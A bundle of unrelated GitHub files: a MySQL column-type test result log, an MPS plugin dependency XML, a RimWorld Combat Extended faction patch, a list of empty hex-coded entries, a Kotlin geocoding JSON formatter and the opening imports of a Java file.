`c1` decimal(10,0) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 DATE NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` date DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 DATE NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` date NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TIME NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` time DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TIME NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` time NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TIMESTAMP NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` timestamp NULL DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TIMESTAMP NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 YEAR NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` year(4) DEFAULT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 YEAR NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` year(4) NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TINYBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinyblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 BLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` blob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 BLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` blob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 MEDIUMBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 LONGBLOB NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longblob
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 LONGBLOB NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longblob NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TINYTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinytext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TINYTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` tinytext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 TEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` text
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 TEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` text NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 MEDIUMTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumtext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 MEDIUMTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` mediumtext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
CREATE TABLE t1(c1 LONGTEXT NULL);
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longtext
) ENGINE=ENGINE DEFAULT CHARSET=latin1
ALTER TABLE t1 CHANGE c1 c1 LONGTEXT NOT NULL;
SHOW TABLES;
Tables_in_test
t1
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`c1` longtext NOT NULL
) ENGINE=ENGINE DEFAULT CHARSET=latin1
DROP TABLE t1;
SHOW TABLES;
Tables_in_test
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<dependenciesRoot>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ConvertInferenceRuleToCheckingRule_Action">
<classNode dependClassName="com.intellij.openapi.actionSystem.AnActionEvent" />
<classNode dependClassName="java.lang.Object" />
<classNode dependClassName="java.lang.Override" />
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="java.util.Map" />
<classNode dependClassName="javax.swing.Icon" />
<classNode dependClassName="jetbrains.mps.ide.actions.MPSCommonDataKeys" />
<classNode dependClassName="jetbrains.mps.internal.collections.runtime.ListSequence" />
<classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SLinkOperations" />
<classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" />
<classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" />
<classNode dependClassName="jetbrains.mps.openapi.navigation.NavigationSupport" />
<classNode dependClassName="jetbrains.mps.project.MPSProject" />
<classNode dependClassName="jetbrains.mps.smodel.action.SNodeFactoryOperations" />
<classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" />
<classNode dependClassName="jetbrains.mps.workbench.action.ActionAccess" />
<classNode dependClassName="org.jetbrains.annotations.NotNull" />
<classNode dependClassName="org.jetbrains.mps.openapi.language.SAbstractConcept" />
<classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" />
<classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" />
<classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" />
<classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" />
<classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" />
<classNode extendsClassName="jetbrains.mps.workbench.action.BaseAction" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.Default_KeymapChanges">
<classNode dependClassName="com.intellij.openapi.actionSystem.KeyboardShortcut" />
<classNode dependClassName="com.intellij.openapi.actionSystem.Shortcut" />
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="javax.swing.KeyStroke" />
<classNode extendsClassName="jetbrains.mps.plugins.actions.BaseKeymapChanges" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.MacOSX105_KeymapChanges">
<classNode dependClassName="com.intellij.openapi.actionSystem.KeyboardShortcut" />
<classNode dependClassName="com.intellij.openapi.actionSystem.Shortcut" />
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="javax.swing.KeyStroke" />
<classNode extendsClassName="jetbrains.mps.plugins.actions.BaseKeymapChanges" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.MacOSX_KeymapChanges">
<classNode dependClassName="com.intellij.openapi.actionSystem.KeyboardShortcut" />
<classNode dependClassName="com.intellij.openapi.actionSystem.Shortcut" />
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="javax.swing.KeyStroke" />
<classNode extendsClassName="jetbrains.mps.plugins.actions.BaseKeymapChanges" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.PluginSolution_ApplicationPlugin">
<classNode dependClassName="com.intellij.openapi.extensions.PluginId" />
<classNode dependClassName="java.util.ArrayList" />
<classNode dependClassName="java.util.List" />
<classNode dependClassName="jetbrains.mps.ide.actions.DebugActions_ActionGroup" />
<classNode dependClassName="jetbrains.mps.internal.collections.runtime.ListSequence" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ConvertInferenceRuleToCheckingRule_Action" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.Default_KeymapChanges" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.MacOSX105_KeymapChanges" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.MacOSX_KeymapChanges" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ShowAsIntentions_TypeSystem_ActionGroup" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ShowNodeType_Action" />
<classNode dependClassName="jetbrains.mps.lang.typesystem.pluginSolution.plugin.TypesystemActions_Plugin_ActionGroup" />
<classNode dependClassName="jetbrains.mps.plugins.actions.BaseKeymapChanges" />
<classNode dependClassName="org.jetbrains.annotations.NotNull" />
<classNode extendsClassName="jetbrains.mps.plugins.applicationplugins.BaseApplicationPlugin" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ShowAsIntentions_TypeSystem_ActionGroup">
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="jetbrains.mps.workbench.action.ApplicationPlugin" />
<classNode dependClassName="org.jetbrains.annotations.Nullable" />
<classNode extendsClassName="jetbrains.mps.plugins.actions.GeneratedActionGroup" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.ShowNodeType_Action">
<classNode dependClassName="com.intellij.openapi.actionSystem.AnActionEvent" />
<classNode dependClassName="com.intellij.openapi.ui.MessageType" />
<classNode dependClassName="com.intellij.openapi.wm.ToolWindowManager" />
<classNode dependClassName="java.lang.Object" />
<classNode dependClassName="java.lang.Override" />
<classNode dependClassName="java.lang.Runnable" />
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="java.util.Map" />
<classNode dependClassName="javax.swing.Icon" />
<classNode dependClassName="jetbrains.mps.baseLanguage.closures.runtime.Wrappers" />
<classNode dependClassName="jetbrains.mps.errors.IErrorReporter" />
<classNode dependClassName="jetbrains.mps.errors.SimpleErrorReporter" />
<classNode dependClassName="jetbrains.mps.icons.MPSIcons" />
<classNode dependClassName="jetbrains.mps.ide.actions.MPSCommonDataKeys" />
<classNode dependClassName="jetbrains.mps.ide.editor.MPSEditorDataKeys" />
<classNode dependClassName="jetbrains.mps.internal.collections.runtime.MapSequence" />
<classNode dependClassName="jetbrains.mps.newTypesystem.TypesUtil" />
<classNode dependClassName="jetbrains.mps.nodeEditor.EditorComponent" />
<classNode dependClassName="jetbrains.mps.project.MPSProject" />
<classNode dependClassName="jetbrains.mps.smodel.tempmodel.TempModuleOptions" />
<classNode dependClassName="jetbrains.mps.smodel.tempmodel.TemporaryModels" />
<classNode dependClassName="jetbrains.mps.typechecking.TypecheckingFacade" />
<classNode dependClassName="jetbrains.mps.typesystem.uiActions.MyBaseNodeDialog" />
<classNode dependClassName="org.jetbrains.annotations.NotNull" />
<classNode dependClassName="org.jetbrains.mps.openapi.model.SModel" />
<classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" />
<classNode extendsClassName="jetbrains.mps.workbench.action.BaseAction" />
</dependency>
<dependency className="jetbrains.mps.lang.typesystem.pluginSolution.plugin.TypesystemActions_Plugin_ActionGroup">
<classNode dependClassName="java.lang.String" />
<classNode dependClassName="jetbrains.mps.workbench.action.ApplicationPlugin" />
<classNode dependClassName="org.jetbrains.annotations.Nullable" />
<classNode extendsClassName="jetbrains.mps.plugins.actions.GeneratedActionGroup" />
</dependency>
</dependenciesRoot>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8" ?>
<Patch>
<Operation Class="PatchOperationSequence">
<success>Always</success>
<operations>
<li Class="CombatExtended.PatchOperationFindMod">
<modName>[RH] Faction: Umbra Company</modName>
</li>
<!-- ========== Reduce meals and medicine carried by all pawns ========== -->
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[@Name="RH_UmbraCompany_Base"]/invNutrition</xpath>
<value>
<invNutrition>1</invNutrition>
</value>
</li>
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[@Name="RH_UmbraCompany_Base"]/inventoryOptions</xpath>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Gunner" or
defName="RH_UmbraCompany_Grenadier" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite"
]/inventoryOptions/subOptionsChooseOne</xpath>
<value>
<subOptionsChooseOne>
<li>
<thingDef>RNMedicine_IFAK_Multicam</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
<li>
<thingDef>RNMedicine_MedicBag</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
</subOptionsChooseOne>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_APCCrewman"
]/inventoryOptions/subOptionsChooseOne</xpath>
<value>
<subOptionsChooseOne>
<li>
<thingDef>RNMedicine_IFAK_Multicam</thingDef>
<countRange>
<min>0</min>
<max>1</max>
</countRange>
</li>
</subOptionsChooseOne>
</value>
</li>
<!-- ========== Remove smokepop belt ========== -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault_TierII" or
@Name="RH_UCEliteTierBase" or
defName="RH_UmbraCompany_Trader"
]/apparelTags/li[.="BeltDefensePop"]</xpath>
</li>
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Trader"
]/apparelRequired/li[.="Apparel_SmokepopBelt"]</xpath>
</li>
<!-- ========== Umbra Company faction pawns should spawn backpacks, allowing them to carry their (huge) inventory ========== -->
<li Class="PatchOperationAdd">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Gunner" or
defName="RH_UmbraCompany_Grenadier" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Trader" or
defName="RH_UmbraCompany_APCCrewman"
]/apparelRequired</xpath>
<value>
<li>Apparel_Backpack</li>
</value>
</li>
<!-- ========== Umbra Company faction pawns should spawn with ammo appropriate to their primary weapon, as well as a sidearm (and its own ammo) ========== -->
<!-- First remove redundant M9 HRT from pawns' existing primary weaponTags -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_APCCrewman"]/weaponTags/li[.="RN_M9HRT"]</xpath>
</li>
<!-- Also remove C4 from standard Grenadiers, so the magazine count patch doesn't crowd out the room required for the sidearm -->
<li Class="PatchOperationRemove">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Grenadier"]/weaponTags/li[.="RH_UC_Explosives"]</xpath>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Rogue" or
defName="RH_UmbraCompany_APCCrewman" or
defName="RH_UmbraCompany_Assault" or
defName="RH_UmbraCompany_Assault_TierII" or
defName="RH_UmbraCompany_Boss" or
defName="RH_UmbraCompany_CQB" or
defName="RH_UmbraCompany_CQB_TierII" or
defName="RH_UmbraCompany_Elite" or
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII" or
defName="RH_UmbraCompany_Sniper" or
defName="RH_UmbraCompany_Trader"
]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>6</min>
<max>8</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Gunner"]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>3</min>
<max>4</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<li Class="PatchOperationAddModExtension">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Grenadier"]</xpath>
<value>
<li Class="CombatExtended.LoadoutPropertiesExtension">
<primaryMagazineCount>
<min>24</min>
<max>26</max>
</primaryMagazineCount>
<sidearms>
<li>
<generateChance>1</generateChance>
<magazineCount>
<min>2</min>
<max>3</max>
</magazineCount>
<weaponTags>
<li>RN_M9HRT</li>
</weaponTags>
</li>
</sidearms>
</li>
</value>
</li>
<!-- ========== Tweak minimum weaponMoney for selected pawn types, so that they actually spawn with weapons ========== -->
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[defName="RH_UmbraCompany_Gunner"]/weaponMoney/min</xpath>
<value>
<min>480</min>
</value>
</li>
<li Class="PatchOperationReplace">
<xpath>Defs/PawnKindDef[
defName="RH_UmbraCompany_Marksman" or
defName="RH_UmbraCompany_Marksman_TierII"
]/weaponMoney/min</xpath>
<value>
<min>400</min>
</value>
</li>
</operations>
</Operation>
</Patch>
|
{
"pile_set_name": "Github"
}
|
2BD00:
2BD01:
2BD02:
2BD03:
2BD04:
2BD05:
2BD06:
2BD07:
2BD08:
2BD09:
2BD0A:
2BD0B:
2BD0C:
2BD0D:
2BD0E:
2BD0F:
2BD10:
2BD11:
2BD12:
2BD13:
2BD14:
2BD15:
2BD16:
2BD17:
2BD18:
2BD19:
2BD1A:
2BD1B:
2BD1C:
2BD1D:
2BD1E:
2BD1F:
2BD20:
2BD21:
2BD22:
2BD23:
2BD24:
2BD25:
2BD26:
2BD27:
2BD28:
2BD29:
2BD2A:
2BD2B:
2BD2C:
2BD2D:
2BD2E:
2BD2F:
2BD30:
2BD31:
2BD32:
2BD33:
2BD34:
2BD35:
2BD36:
2BD37:
2BD38:
2BD39:
2BD3A:
2BD3B:
2BD3C:
2BD3D:
2BD3E:
2BD3F:
2BD40:
2BD41:
2BD42:
2BD43:
2BD44:
2BD45:
2BD46:
2BD47:
2BD48:
2BD49:
2BD4A:
2BD4B:
2BD4C:
2BD4D:
2BD4E:
2BD4F:
2BD50:
2BD51:
2BD52:
2BD53:
2BD54:
2BD55:
2BD56:
2BD57:
2BD58:
2BD59:
2BD5A:
2BD5B:
2BD5C:
2BD5D:
2BD5E:
2BD5F:
2BD60:
2BD61:
2BD62:
2BD63:
2BD64:
2BD65:
2BD66:
2BD67:
2BD68:
2BD69:
2BD6A:
2BD6B:
2BD6C:
2BD6D:
2BD6E:
2BD6F:
2BD70:
2BD71:
2BD72:
2BD73:
2BD74:
2BD75:
2BD76:
2BD77:
2BD78:
2BD79:
2BD7A:
2BD7B:
2BD7C:
2BD7D:
2BD7E:
2BD7F:
2BD80:
2BD81:
2BD82:
2BD83:
2BD84:
2BD85:
2BD86:
2BD87:
2BD88:
2BD89:
2BD8A:
2BD8B:
2BD8C:
2BD8D:
2BD8E:
2BD8F:
2BD90:
2BD91:
2BD92:
2BD93:
2BD94:
2BD95:
2BD96:
2BD97:
2BD98:
2BD99:
2BD9A:
2BD9B:
2BD9C:
2BD9D:
2BD9E:
2BD9F:
2BDA0:
2BDA1:
2BDA2:
2BDA3:
2BDA4:
2BDA5:
2BDA6:
2BDA7:
2BDA8:
2BDA9:
2BDAA:
2BDAB:
2BDAC:
2BDAD:
2BDAE:
2BDAF:
2BDB0:
2BDB1:
2BDB2:
2BDB3:
2BDB4:
2BDB5:
2BDB6:
2BDB7:
2BDB8:
2BDB9:
2BDBA:
2BDBB:
2BDBC:
2BDBD:
2BDBE:
2BDBF:
2BDC0:
2BDC1:
2BDC2:
2BDC3:
2BDC4:
2BDC5:
2BDC6:
2BDC7:
2BDC8:
2BDC9:
2BDCA:
2BDCB:
2BDCC:
2BDCD:
2BDCE:
2BDCF:
2BDD0:
2BDD1:
2BDD2:
2BDD3:
2BDD4:
2BDD5:
2BDD6:
2BDD7:
2BDD8:
2BDD9:
2BDDA:
2BDDB:
2BDDC:
2BDDD:
2BDDE:
2BDDF:
2BDE0:
2BDE1:
2BDE2:
2BDE3:
2BDE4:
2BDE5:
2BDE6:
2BDE7:
2BDE8:
2BDE9:
2BDEA:
2BDEB:
2BDEC:
2BDED:
2BDEE:
2BDEF:
2BDF0:
2BDF1:
2BDF2:
2BDF3:
2BDF4:
2BDF5:
2BDF6:
2BDF7:
2BDF8:
2BDF9:
2BDFA:
2BDFB:
2BDFC:
2BDFD:
2BDFE:
2BDFF:
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2019. JetBrains s.r.o.
* Use of this source code is governed by the MIT license that can be found in the LICENSE file.
*/
package jetbrains.gis.geoprotocol.json
import jetbrains.datalore.base.json.*
import jetbrains.datalore.base.spatial.GeoRectangle
import jetbrains.datalore.base.typedGeometry.Generic
import jetbrains.datalore.base.typedGeometry.Vec
import jetbrains.gis.geoprotocol.Boundaries
import jetbrains.gis.geoprotocol.Boundary
import jetbrains.gis.geoprotocol.Fragment
import jetbrains.gis.geoprotocol.GeoResponse
import jetbrains.gis.geoprotocol.GeoResponse.*
import jetbrains.gis.geoprotocol.json.ResponseKeys.BOUNDARY
import jetbrains.gis.geoprotocol.json.ResponseKeys.CENTROID
import jetbrains.gis.geoprotocol.json.ResponseKeys.DATA
import jetbrains.gis.geoprotocol.json.ResponseKeys.FEATURES
import jetbrains.gis.geoprotocol.json.ResponseKeys.FRAGMENTS
import jetbrains.gis.geoprotocol.json.ResponseKeys.HIGHLIGHTS
import jetbrains.gis.geoprotocol.json.ResponseKeys.ID
import jetbrains.gis.geoprotocol.json.ResponseKeys.LAT
import jetbrains.gis.geoprotocol.json.ResponseKeys.LEVEL
import jetbrains.gis.geoprotocol.json.ResponseKeys.LIMIT
import jetbrains.gis.geoprotocol.json.ResponseKeys.LON
import jetbrains.gis.geoprotocol.json.ResponseKeys.MESSAGE
import jetbrains.gis.geoprotocol.json.ResponseKeys.NAME
import jetbrains.gis.geoprotocol.json.ResponseKeys.NAMESAKE_COUNT
import jetbrains.gis.geoprotocol.json.ResponseKeys.NAMESAKE_EXAMPLES
import jetbrains.gis.geoprotocol.json.ResponseKeys.NAMESAKE_NAME
import jetbrains.gis.geoprotocol.json.ResponseKeys.NAMESAKE_PARENTS
import jetbrains.gis.geoprotocol.json.ResponseKeys.POSITION
import jetbrains.gis.geoprotocol.json.ResponseKeys.QUERY
import jetbrains.gis.geoprotocol.json.ResponseKeys.STATUS
object ResponseJsonFormatter {
fun format(response: GeoResponse): Obj {
if (response is SuccessGeoResponse) {
return success(response)
}
if (response is AmbiguousGeoResponse) {
return ambiguous(response)
}
return if (response is ErrorGeoResponse) {
error(response)
} else error(ErrorGeoResponse("Unknown response: " + response::class.toString()))
}
private fun success(response: SuccessGeoResponse): Obj {
return FluentObject()
.put(STATUS, ResponseStatus.SUCCESS)
.put(MESSAGE, "OK")
.put(DATA,
FluentObject()
.put(LEVEL, response.featureLevel)
.put(FEATURES, FluentArray()
.addAll(response.features.map { feature ->
FluentObject()
.put(QUERY, feature.request)
.put(ID, feature.id)
.put(NAME, feature.name)
.putRemovable(HIGHLIGHTS, stringArray(feature.highlights))
.putRemovable(LIMIT, formatRect(feature.limit))
.putRemovable(POSITION, formatRect(feature.position))
.putRemovable(CENTROID, formatPoint(feature.centroid))
.putRemovable(BOUNDARY, formatGeometry(feature.boundary))
.putRemovable(FRAGMENTS, formatFragments(feature.fragments))
})
)
)
.get()
}
private fun error(response: ErrorGeoResponse): Obj {
return FluentObject()
.put(STATUS, ResponseStatus.ERROR)
.put(MESSAGE, response.message)
.get()
}
private fun ambiguous(response: AmbiguousGeoResponse): Obj {
return FluentObject()
.put(STATUS, ResponseStatus.AMBIGUOUS)
.put(MESSAGE, "Ambiguous")
.put(DATA, FluentObject()
.put(LEVEL, response.featureLevel)
.put(FEATURES, FluentArray()
.addAll(response.features.map { feature ->
FluentObject()
.put(QUERY, feature.request)
.put(NAMESAKE_COUNT, feature.namesakeCount)
.put(NAMESAKE_EXAMPLES, FluentArray()
.addAll(feature.namesakes.map { namesake ->
FluentObject()
.put(NAMESAKE_NAME, namesake.name)
.put(NAMESAKE_PARENTS, FluentArray()
.addAll(namesake.parents.map { parent ->
FluentObject()
.put(NAMESAKE_NAME, parent.name)
.put(LEVEL, parent.level)
})
)
})
)
})
)
).get()
}
private fun stringArray(v: List<String>?): FluentArray? {
return if (v == null || v.isEmpty()) null else FluentArray(v)
}
private fun formatRect(v: GeoRectangle?): FluentObject? {
return when (v) {
null -> null
else -> ProtocolJsonHelper.formatGeoRectangle(v)
}
}
private fun formatPoint(v: Vec<Generic>?): FluentValue? {
return v?.let { FluentObject()
.put(LON, it.x)
.put(LAT, it.y)
}
}
private fun formatGeometry(boundary: Boundary<Generic>?): FluentPrimitive? {
return boundary?.let { FluentPrimitive(boundaryToString(it)) }
}
private fun boundaryToString(boundary: Boundary<Generic>): String {
return Boundaries.getRawData(boundary)
}
private fun formatFragments(fragments: List<Fragment>?): FluentObject? {
return fragments?.let {
val obj = FluentObject()
for (fragment in fragments) {
val boundaries = FluentArray()
for (boundary in fragment.boundaries) {
boundaries.add(boundaryToString(boundary))
}
obj.put(fragment.key.key, boundaries)
}
return obj
}
}
}
|
{
"pile_set_name": "Github"
}
|
package fr.inria.spirals.repairnator.process.inspectors;
import fr.inria.jtravis.entities.Build;
import fr.inria.spirals.repairnator.BuildToBeInspected;
import fr.inria.spirals.repairnator.config.RepairnatorConfig;
import fr.inria.spirals.repairnator.notifier.AbstractNotifier;
import fr.inria.spirals.repairnator.notifier.ErrorNotifier;
import fr.inria.spirals.repairnator.notifier.PatchNotifier;
